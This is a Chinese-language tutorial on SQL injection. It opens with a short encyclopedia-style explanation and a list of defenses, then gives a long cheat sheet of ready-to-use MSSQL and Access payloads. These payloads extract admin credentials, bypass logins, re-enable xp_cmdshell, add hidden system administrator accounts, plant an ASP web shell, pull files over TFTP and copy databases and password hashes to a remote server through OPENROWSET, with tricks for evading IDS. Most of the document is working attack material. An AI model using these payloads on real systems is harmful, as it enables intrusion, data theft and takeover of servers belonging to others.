sql注入漏洞，應屏蔽SQL注入攻擊

注：SQL注入比如是前端URL傳參數請求時參數以SQL 作爲參數傳入，如
select 1  from dual where 1=1 or 1=1 and 1=2;（相似這樣的SQL語句）

 

 

防護方法

若是本身編寫防注代碼，通常是先定義一個函數，再在裏面寫入要過濾的關鍵詞，如select ; 「」；from；等，這些關鍵詞都是查詢語句最經常使用的詞語，一旦過濾了，那麼用戶本身構造提交的數據就不會完整地參與數據庫的操做。

 

 

 

 

sql注入

 鎖定 討論2

本詞條由「科普中國」科學百科詞條編寫與應用工做項目 審覈 。

所謂SQL注入，就是經過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串，最終達到欺騙服務器執行惡意的SQL命令。具體來講，它是利用現有應用程序，將（惡意的）SQL命令注入到後臺數據庫引擎執行的能力，它能夠經過在Web表單中輸入（惡意）SQL語句獲得一個存在安全漏洞的網站上的數據庫，而不是按照設計者意圖去執行SQL語句。 [1]  好比先前的不少影視網站泄露VIP會員密碼大多就是經過WEB表單遞交查詢字符暴出的，這類表單特別容易受到SQL注入式攻擊．

中文名

sql注入

外文名

SqlInject

語    言

計算機語言

類    型

參數

類    別

平臺層注入、代碼層注入

目錄

1. 1 基礎知識
2. ▪ 原理
3. ▪ 攻擊
4. ▪ 防禦
5. 2 注入方法

1. ▪ 方法1
2. ▪ 方法2
3. ▪ 方法3
4. ▪ 小結
5. 3 SQL注入技術

1. 4 SQL注入防範
2. 5 語句特徵

 

基礎知識

 

原理

SQL注入攻擊指的是經過構建特殊的輸入做爲參數傳入Web應用程序，而這些輸入大都是SQL語法裏的一些組合，經過執行SQL語句進而執行攻擊者所要的操做，其主要緣由是程序沒有細緻地過濾用戶輸入的數據，導致非法數據侵入系統。

根據相關技術原理，SQL注入能夠分爲平臺層注入和代碼層注入。前者由不安全的數據庫配置或數據庫平臺的漏洞所致；後者主要是因爲程序員對輸入未進行細緻地過濾，從而執行了非法的數據查詢。基於此，SQL注入的產生緣由一般表如今如下幾方面：①不當的類型處理；②不安全的數據庫配置；③不合理的查詢集處理；④不當的錯誤處理；⑤轉義字符處理不合適；⑥多個提交處理不當。

 

攻擊

當應用程序使用輸入內容來構造動態sql語句以訪問數據庫時，會發生sql注入攻擊。若是代碼使用存儲過程，而這些存儲過程做爲包含未篩選的用戶輸入的字符串來傳遞，也會發生sql注入。sql注入可能致使攻擊者使用應用程序登錄在數據庫中執行命令。相關的SQL注入能夠經過測試工具pangolin進行。若是應用程序使用特權太高的賬戶鏈接到數據庫，這種問題會變得很嚴重。在某些表單中，用戶輸入的內容直接用來構造動態sql命令，或者做爲存儲過程的輸入參數，這些表單特別容易受到sql注入的攻擊。而許多網站程序在編寫時，沒有對用戶輸入的合法性進行判斷或者程序中自己的變量處理不當，使應用程序存在安全隱患。這樣，用戶就能夠提交一段數據庫查詢的代碼，根據程序返回的結果，得到一些敏感的信息或者控制整個服務器，因而sql注入就發生了。

 

防禦

概括一下，主要有如下幾點：

1.永遠不要信任用戶的輸入。對用戶的輸入進行校驗，能夠經過正則表達式，或限制長度；對單引號和

雙"-"進行轉換等。

2.永遠不要使用動態拼裝sql，可使用參數化的sql或者直接使用存儲過程進行數據查詢存取。

3.永遠不要使用管理員權限的數據庫鏈接，爲每一個應用使用單獨的權限有限的數據庫鏈接。

4.不要把機密信息直接存放，加密或者hash掉密碼和敏感的信息。

5.應用的異常信息應該給出儘量少的提示，最好使用自定義的錯誤信息對原始錯誤信息進行包裝

6.sql注入的檢測方法通常採起輔助軟件或網站平臺來檢測，軟件通常採用sql注入檢測工具jsky，網站平臺就有億思網站安全平臺檢測工具。MDCSOFT SCAN等。採用MDCSOFT-IPS能夠有效的防護SQL注入，XSS攻擊等。

 

注入方法

 

方法1

先猜表名

And (Select count(*) from 表名)<>0

猜列名

And (Select count（列名） from 表名）<>0

或者也能夠這樣

and exists (select * from 表名）

and exists (select 列名 from 表名）

返回正確的，那麼寫的表名或列名就是正確

這裏要注意的是，exists這個不能應用於猜內容上，例如and exists (select len(user) from admin)>3 這樣是不行的

不少人都是喜歡查詢裏面的內容，一旦iis沒有關閉錯誤提示的，那麼就能夠利用報錯方法輕鬆得到庫裏面的內容

得到數據庫鏈接用戶名：；and user>0

引用《SQL注入天書》，重點在and user>0，user是SQLServer的一個內置變量，它的值是當前鏈接的用戶名，類型爲nvarchar。拿一個 nvarchar的值跟int的數0比較，系統會先試圖將nvarchar的值轉成int型，固然，轉的過程當中確定會出錯，SQLServer的出錯提示是：將nvarchar轉換int異常，XXXX不能轉換成int"

看到這裏你們明白了吧，報錯的原理就是利用SQLserver內置的系統表進行轉換查詢，轉換過程會出錯，而後就會顯示出在網頁上，另外還有相似的and 1=(selet top 1 user from admin），這種語句也是能夠爆出來的。；and db_name()>0 則是暴數據庫名。

一旦關閉了IIS報錯，那麼還能夠用union（聯合查詢）來查內容，主要語句就是

Order by 10

And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin

And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

上面的order by 10主要就是查字段數目，admin就是表名，能夠本身猜，user,passwd是列名

反正就是返回正確即對，返回異常即錯

另外還有十分經常使用的ASCII碼拆半法

先要知道指定列名，例如user裏的內容的長度

and (select len(user) from admin)=2 就是查詢長度爲不爲2位，返回錯誤的增長或減小數字，通常這個數字不會太大，太大的就要放棄了，猜也多餘

後面的邏輯符號能夠根據不一樣要求更改的，

>；大於 <；小於 =就是等於咯，更新語句的話，=也能夠表示傳遞符號 <>；就是不等

知道了長度後就能夠開始猜解了

And (Select top 1 asc(mid(user,n,1)) from admin)>100

n就是猜解的表名的第幾位，最後的長度數字就是剛纔猜解出來的列名長度了，And (Select top 1 asc(mid(user,1,1)) from admin)>100 就是猜解user裏內容的第一位的ASCII字符是否是大於100

正確的話，那麼表示USER第一個字符的ASCII碼大於100，那麼就猜>120，返回錯誤就是介於100－120之間，而後再一步一步的縮少，最終獲得正確字符XXX，而後用ASCII轉換器吧這個轉換成普通字符就能夠了

而後就是第二位 And (Select top 1 asc(mid(user,2,1)) from admin)>100 一直猜下去

加在url後面，列名錶名仍是先猜解，返回正確的表明賬號的ASCII碼大於100，那麼就再向前猜，直到報錯，把猜出來的ASCII碼拿去ASCII轉換器轉換就能夠了，中文是負數，加上asb取絕對值

And (Select top 1 asb(asc(mid(user,n,1))) from admin)>15320

獲得以後就記得在數字前加-號，否則ASCII轉換器轉換不來的，中文在ASCII碼裏是-23423這樣的，因此猜起來挺麻煩

這個猜解速度比較慢，可是效果最好，最具備普遍性

 

方法2

後臺身份驗證繞過漏洞

驗證繞過漏洞就是'or'='or'後臺繞過漏洞，利用的就是AND和OR的運算規則，從而形成後臺腳本邏輯性錯誤

例如管理員的帳號密碼都是admin，那麼再好比後臺的數據庫查詢語句是

user=request("user")

passwd=request("passwd")

sql='select admin from adminbate where user='&'''&user&'''&' and passwd='&'''&passwd&'''

那麼我使用'or 'a'='a來作用戶名密碼的話，那麼查詢就變成了

select admin from adminbate where user=''or 'a'='a' and passwd=''or 'a'='a'

這樣的話，根據運算規則，這裏一共有4個查詢語句，那麼查詢結果就是 假or真and假or真，先算and 再算or，最終結果爲真，這樣就能夠進到後臺了

這種漏洞存在必需要有2個條件，第一個：在後臺驗證代碼上，帳號密碼的查詢是要同一條查詢語句，也就是相似

sql="select * from admin where username='"&username&'&"passwd='"&passwd&'

若是一旦帳號密碼是分開查詢的，先查賬號，再查密碼，這樣的話就沒有辦法了。

第二就是要看密碼加不加密，一旦被MD5加密或者其餘加密方式加密的，那就要看第一種條件有沒有能夠，沒有達到第一種條件的話，那就沒有戲了

 

方法3

防護方法

若是本身編寫防注代碼，通常是先定義一個函數，再在裏面寫入要過濾的關鍵詞，如select ; 「」；from；等，這些關鍵詞都是查詢語句最經常使用的詞語，一旦過濾了，那麼用戶本身構造提交的數據就不會完整地參與數據庫的操做。

固然若是你的網站提交的數據所有都是數字的，可使用小竹提供的方法

Function SafeRequest(ParaName,ParaType)

'--- 傳入參數 ---

'ParaName：參數名稱-字符型

'ParaType：參數類型-數字型（1表示以上參數是數字，0表示以上參數爲字符）

Dim ParaValue

ParaValue=Request(ParaName)

If ParaType=1 then

If not isNumeric(ParaValue) then

Response.write "參數" & ParaName & "必須爲數字型！"

Response.end

End if

Else

ParaValue=replace(ParaValue,"'","''")

End if

SafeRequest=ParaValue

End function

而後就用SafeRequest（）來過濾參數 ，檢查參數是否爲數字，不是數字的就不能經過。

 

小結

SQL注入的手法至關靈活，在注入的時候會碰到不少意外的狀況。能不能根據具體狀況進行分析，構造巧妙的SQL語句，從而成功獲取想要的數據，是高手與「菜鳥」的根本區別。

 

SQL注入技術

強制產生錯誤

對數據庫類型、版本等信息進行識別是此類型攻擊的動機所在。它的目的是收集數據庫的類型、結構等信息爲其餘類型的攻擊作準備，可謂是攻擊的一個預備步驟。利用應用程序服務器返回的默認錯誤信息而取得漏洞信息。

採用非主流通道技術

除HTTP響應外，能經過通道獲取數據，然而，通道大都依賴與數據庫支持的功能而存在，因此這項技術不徹底適用於全部的數據庫平臺。SQL注入的非主流通道主要有E-mail、DNS以及數據庫鏈接，基本思想爲：先對SQL查詢打包，而後藉助非主流通道將信息反饋至攻擊者。

使用特殊的字符

不一樣的SQL數據庫有許多不一樣是特殊字符和變量，經過某些配置不安全或過濾不細緻的應用系統可以取得某些有用的信息，從而對進一步攻擊提供方向。

使用條件語句

此方式具體可分爲基於內容、基於時間、基於錯誤三種形式。通常在通過常規訪問後加上條件語句，根據信息反饋來斷定被攻擊的目標。

利用存儲過程

經過某些標準存儲過程，數據庫廠商對數據庫的功能進行擴展的同時，系統也可與進行交互。部分存儲過程可讓用戶自行定義。經過其餘類型的攻擊收集到數據庫的類型、結構等信息後，便可以建構執行存儲過程的命令。這種攻擊類型每每能達到遠程命令執行、特權擴張、拒絕服務的目的。

避開輸入過濾技術

雖然對於一般的編碼均可利用某些過濾技術進行SQL注入防範，可是鑑於此種狀況下也有許多方法避開過濾，通常可達到此目的的技術手段包括SQL註釋和動態查詢的使用，利用截斷，URL編碼與空字節的使用，大小寫變種的使用以及嵌套剝離後的表達式等等。藉助於此些手段，輸入構思後的查詢能夠避開輸入過濾，從而攻擊者能得到想要的查詢結果。

推斷技術

可以明確數據庫模式、提取數據以及識別可注入參數。此種方式的攻擊經過網站對用戶輸入的反饋信息，對可注入參數、數據庫模式推斷，這種攻擊構造的查詢執行後得到的答案只有真、假兩種。基於推斷的注入方式主要分爲時間測定注入與盲注入兩種。前者是在注入語句里加入語句諸如「waitfor 100」，按照此查詢結果出現的時間對注入可否成功和數據值範圍的推導進行斷定；後者主要是「and l=l」、「and l=2」兩種經典注入方法。這些方式均是對一些間接關聯且能取得迴應的問題進行提問，進而經過響應信息推斷出想要信息，而後進行攻擊。

 

SQL注入防範

瞭解了SQL注入的方法，如何能防止SQL注入？如何進一步防範SQL注入的泛濫？經過一些合理的操做和配置來下降SQL注入的危險。

使用參數化的過濾性語句

　　要防護SQL注入，用戶的輸入就絕對不能直接被嵌入到SQL語句中。偏偏相反，用戶的輸入必須進行過濾，或者使用參數化的語句。參數化的語句使用參數而不是將用戶輸入嵌入到語句中。在多數狀況中，SQL語句就得以修正。而後，用戶輸入就被限於一個參數。

輸入驗證

檢查用戶輸入的合法性，確信輸入的內容只包含合法的數據。數據檢查應當在客戶端和服務器端都執行之因此要執行服務器端驗證，是爲了彌補客戶端驗證機制脆弱的安全性。
　　在客戶端，攻擊者徹底有可能得到網頁的源代碼，修改驗證合法性的腳本（或者直接刪除腳本），而後將非法內容經過修改後的表單提交給服務器。所以，要保證驗證操做確實已經執行，惟一的辦法就是在服務器端也執行驗證。你可使用許多內建的驗證對象，例如Regular Expression Validator，它們可以自動生成驗證用的客戶端腳本，固然你也能夠插入服務器端的方法調用。若是找不到現成的驗證對象，你能夠經過Custom Validator本身建立一個。

錯誤消息處理

防範SQL注入，還要避免出現一些詳細的錯誤消息，由於黑客們能夠利用這些消息。要使用一種標準的輸入確認機制來驗證全部的輸入數據的長度、類型、語句、企業規則等。

加密處理

將用戶登陸名稱、密碼等數據加密保存。加密用戶輸入的數據，而後再將它與數據庫中保存的數據比較，這至關於對用戶輸入的數據進行了「消毒」處理，用戶輸入的數據再也不對數據庫有任何特殊的意義，從而也就防止了攻擊者注入SQL命令。

存儲過程來執行全部的查詢

SQL參數的傳遞方式將防止攻擊者利用單引號和連字符實施攻擊。此外，它還使得數據庫權限能夠限制到只容許特定的存儲過程執行，全部的用戶輸入必須聽從被調用的存儲過程的安全上下文，這樣就很難再發生注入式攻擊了。

使用專業的漏洞掃描工具

攻擊者們目前正在自動搜索攻擊目標並實施攻擊，其技術甚至能夠輕易地被應用於其它的Web架構中的漏洞。企業應當投資於一些專業的漏洞掃描工具，如大名鼎鼎的Acunetix的Web漏洞掃描程序等。一個完善的漏洞掃描程序不一樣於網絡掃描程序，它專門查找網站上的SQL注入式漏洞。最新的漏洞掃描程序能夠查找最新發現的漏洞。

確保數據庫安全

鎖定你的數據庫的安全，只給訪問數據庫的web應用功能所需的最低的權限，撤銷沒必要要的公共許可，使用強大的加密技術來保護敏感數據並維護審查跟蹤。若是web應用不須要訪問某些表，那麼確認它沒有訪問這些表的權限。若是web應用只須要只讀的權限，那麼就禁止它對此表的 drop 、insert、update、delete 的權限，並確保數據庫打了最新補丁。

安全審評

在部署應用系統前，始終要作安全審評。創建一個正式的安全過程，而且每次作更新時，要對全部的編碼作審評。開發隊伍在正式上線前會作很詳細的安全審評，而後在幾周或幾個月以後他們作一些很小的更新時，他們會跳過安全審評這關， 「就是一個小小的更新，咱們之後再作編碼審評好了」。請始終堅持作安全審評。

 

語句特徵

1.判斷有無注入點

; and 1=1 and 1=2

2.猜表通常的表的名稱無非是admin adminuser user pass password 等..

and 0<>(select count(*) from *)

and 0<>(select count(*) from admin) ---判斷是否存在admin這張表

3.猜賬號數目 若是遇到0< 返回正確頁面， 1<返回錯誤頁面，說明賬號數目就是1個

and 0<(select count(*) from admin)

and 1<(select count(*) from admin)

4.猜解字段名稱 在len( ) 括號裏面加上咱們想到的字段名稱.

and 1=(select count(*) from admin where len(*)>0)--

and 1=(select count(*) from admin where len（用戶字段名稱name)>0)

and 1=(select count(*) from admin where len（密碼字段名稱password)>0)

5.猜解各個字段的長度 猜解長度就是把>0變換 直到返回正確頁面爲止

and 1=(select count(*) from admin where len(*)>0)

and 1=(select count(*) from admin where len(name)>6) 錯誤

and 1=(select count(*) from admin where len(name)>5) 正確 長度是6

and 1=(select count(*) from admin where len(name)=6) 正確

and 1=(select count(*) from admin where len(password)>11) 正確

and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12

and 1=(select count(*) from admin where len(password)=12) 正確

6.猜解字符

and 1=(select count(*) from admin where left(name,1)=a) ---猜解用戶賬號的第一位

and 1=(select count(*) from admin where left(name,2)=ab)---猜解用戶賬號的第二位

就這樣一次加一個字符這樣猜，猜到夠你剛纔猜出來的多少位了就對了，賬號就算出來了

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --

這個查詢語句能夠猜解中文的用戶和密碼.只要把後面的數字換成中文的ASSIC碼就OK.最後把結果再轉換成字符.

group by users. id having 1=1--

group by users. id,users.username,users.password,users.privs having 1=1--

; insert into users values( 666,attacker,foobar,0xffff )--

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN

(login_id)-

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN

(login_id,login_name)-

UNION SELECT TOP 1 login_name FROM logintable-

UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--

看服務器打的補丁=出錯了打了SP4補丁

and 1=(select @@VERSION)--

看數據庫鏈接帳號的權限，返回正常，證實是服務器角色sysadmin權限。

and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--

判斷鏈接數據庫賬號。（採用SA帳號鏈接 返回正常=證實了鏈接帳號是SA）

and sa=(SELECT System_user)--

and user_name()=dbo--

and 0<>(select user_name()--

看xp_cmdshell是否刪除

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--

xp_cmdshell被刪除，恢復，支持絕對路徑的恢復

;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--

;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--

反向PING本身實驗

;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加賬號

;DECLARE @shell INT EXEC SP_OACREATEwscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:\WINNT\system32\cmd.exe

/c net user jiaoniang$ 1866574 /add--

建立一個虛擬目錄E盤：

;declare @o int exec sp_oacreatewscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:\inetpub\wwwroot\mkwebdir.vbs -w "默認Web站點" -v "e","e：\"--

訪問屬性：（配合寫入一個webshell）

declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

爆庫 特殊技巧：：%5c=\ 或者把/和\ 修改%5提交

and 0<>(select top 1 paths from newtable)--

獲得庫名（從1到5都是系統的id，6以上才能夠判斷）

and 1=(select name from master.dbo.sysdatabases where dbid=7)--

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

依次提交 dbid = 7,8,9.... 獲得更多的數據庫名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一個表 假設爲 admin

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 來獲得其餘的表。

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin

and uid>(str(id))) 暴到UID的數值假設爲18779569 uid=id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 獲得一個admin的一個字段，假設爲 user_id

and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in

(id,...)) 來暴出其餘的字段

and 0<(select user_id from BBS.dbo.admin where username>1) 能夠獲得用戶名

依次能夠獲得密碼。假設存在user_id username,password 等字段

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 獲得表名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))

and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判斷id值

and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 全部字段

id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin

id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用）

獲得WEB路徑

;create table [dbo].[swap] ([swappass][char](255));--

and (select top 1 swappass from swap)=1--

;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread

@rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\,@value_name=/,

values=@testOUTPUT insert into paths(path) values(@test)--

;use ku1;--

;create table cmd (str image);-- 創建image類型的表cmd

存在xp_cmdshell的測試過程：

;exec master..xp_cmdshell dir

;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL賬號

;exec master.dbo.sp_password null,jiaoniang$,1866574;--

;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--

;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes

/active:yes /add;--

;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--

exec master..xp_servicecontrol start,schedule 啓動服務

exec master..xp_servicecontrol start,server

; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C：\WINNT\system32

\cmd.exe /c net user jiaoniang$ 1866574 /add

;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C：\WINNT\system32\cmd.exe

/c net localgroup administrators jiaoniang$ /add

; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上傳文件

;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\

;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\

;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目錄bak.dat

若是被限制則能夠。

select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)

查詢構造：

SELECT * FROM news WHERE id=... AND topic=... AND .....

adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>

select 123;--

;use master;--

:a or name like fff%;-- 顯示有一個叫ffff的用戶哈。

and 1<>(select count(email) from [user]);--

;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--

;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--

;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--

;update [users] set email=(select top 1 count(id) from password) where name=ffff;--

;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--

;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--

上面的語句是獲得數據庫中的第一個用戶表，並把表名放在ffff用戶的郵箱字段中。

經過查看ffff的用戶資料可得第一個用表叫ad

而後根據表名ad獲得這個表的ID 獲得第二個表的名字

insert into users values( 666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char

(0x69)+char(0x73),0xffff)--

insert into users values( 667,123,123,0xffff)--

insert into users values ( 123,admin--,password,0xffff)--

;and user>0

;and (select count(*) from sysobjects)>0

;and (select count(*) from mysysobjects)>0 //爲access數據庫

枚舉出數據表名

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--

這是將第一個表名更新到aaa的字段處。

讀出第一個表，第二個表能夠這樣讀出來（在條件後加上 and name<>；剛纔獲得的表名）。

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--

而後id=1552 and exists(select * from aaa where aaa>5)

讀出第二個表，一個個的讀出，直到沒有爲止。

讀字段是這樣：

;update aaa set aaa=(select top 1 col_name(object_id（表名），1));--

而後id=152 and exists(select * from aaa where aaa>5)出錯，獲得字段名

;update aaa set aaa=(select top 1 col_name(object_id（表名），2));--

而後id=152 and exists(select * from aaa where aaa>5)出錯，獲得字段名

[得到數據表名][將字段值更新爲表名，再想法讀出這個字段的值就可獲得表名]

update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>；你獲得的表名 查出一個加一個])

[ where 條件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2，…）

經過SQLSERVER注入漏洞建數據庫管理員賬號和系統管理員賬號[當前賬號必須是SYSADMIN組]

[得到數據表字段名][將字段值更新爲字段名，再想法讀出這個字段的值就可獲得字段名]

update 表名 set 字段=(select top 1 col_name(object_id（要查詢的數據表名），字段列如：1) [ where 條件]

繞過IDS的檢測[使用變量]

;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\

;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\

開啓遠程數據庫

基本語法

select * from OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1 )

參數： (1) OLEDB Provider name

其中鏈接字符串參數能夠是任何端口用來鏈接，好比

select * from OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table

複製目標主機的整個數據庫insert全部遠程表到本地表。

基本語法：

insert into OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1) select * from table2

這行語句將目標主機上table2表中的全部數據複製到遠程數據庫中的table1表中。實際運用中適當修改鏈接字符串的IP地址和端口，指向須要的地方，好比：

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from

table2

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)

select * from master.dbo.sysdatabases

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)

select * from user_database.dbo.sysobjects

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)

select * from user_database.dbo.syscolumns

複製數據庫：

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * fromdatabase..table2

複製哈西表（HASH）登陸密碼的hash存儲於sysxlogins中。方法以下：

insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select

* from database.dbo.sysxlogins

獲得hash以後，就能夠進行暴力破1解。

遍歷目錄的方法：先建立一個臨時表：temp

;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

;insert temp exec master.dbo.xp_availablemedia;-- 得到當前全部驅動器

;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 得到子目錄列表

;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 得到全部子目錄的目錄樹結構，並寸入temp表中

;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某個文件的內容

;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;--

;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;--

;insert into temp(id) exec master.dbo.xp_cmdshell cscript. C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc

;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- （xp_dirtree適用權限PUBLIC）

寫入表：

語句1：and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--

語句2：and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--

語句3：and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--

語句4：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--

語句5：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--

語句6：and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--

語句7：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--

語句8：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--

語句9：and 1=(SELECT IS_MEMBER(db_owner));--

把路徑寫到表中去：

;create table dirs(paths varchar(100),id int)--

;insert dirs exec master.dbo.xp_dirtree c:\--

and 0<>(select top 1 paths from dirs)--

and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--

;create table dirs1(paths varchar(100),id int)--

;insert dirs exec master.dbo.xp_dirtree e:\web--

and 0<>(select top 1 paths from dirs1)--

把數據庫備份到網頁目錄：下載

;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;--

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)

and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 參看相關表。

and 1=(select user_id from USER_LOGIN)

and 0=(select user from USER_LOGIN where user>1)

-=-wscript.shellexample -=-

declare @o int

exec sp_oacreate wscript.shell,@o out

exec sp_oamethod @o,run,NULL,notepad.exe

; declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,notepad.exe--

declare @o int,@f int,@t int,@ret int

declare @line varchar(8000)

exec sp_oacreate scripting.filesystemobject,@o out

exec sp_oamethod @o,opentextfile,@f out,c:\boot.ini,1

exec @ret = sp_oamethod @f,readline,@line out

while( @ret = 0 )

begin

print @line

exec @ret = sp_oamethod @f,readline,@line out

end

declare @o int,@f int,@t int,@ret int

exec sp_oacreate scripting.filesystemobject,@o out

exec sp_oamethod @o,createtextfile,@f out,c:\inetpub\wwwroot\foo.asp,1

exec @ret = sp_oamethod @f,writeline,NULL,

<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>

declare @o int,@ret int

exec sp_oacreate speech.voicetext,@o out

exec sp_oamethod @o,register,NULL,foo,bar

exec sp_oasetproperty @o,speed,150

exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to,us,528 waitfor delay 00:00:05

; declare @o int,@ret int exec sp_oacreate speech.voicetext,@o out exec sp_oamethod @o,register,NULL,foo,bar exec

sp_oasetproperty @o,speed,150 exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to us,528 waitfor delay 00:00:05--

xp_dirtree適用權限PUBLIC

exec master.dbo.xp_dirtree c:\

返回的信息有兩個字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。

create table dirs(paths varchar(100),id int)

建表，這裏建的表是和上面xp_dirtree相關連，字段相等、類型相同。

insert dirs exec master.dbo.xp_dirtree c:\

只要咱們建表與存儲進程返回的字段相定義相等就可以執行！達到寫表的效果.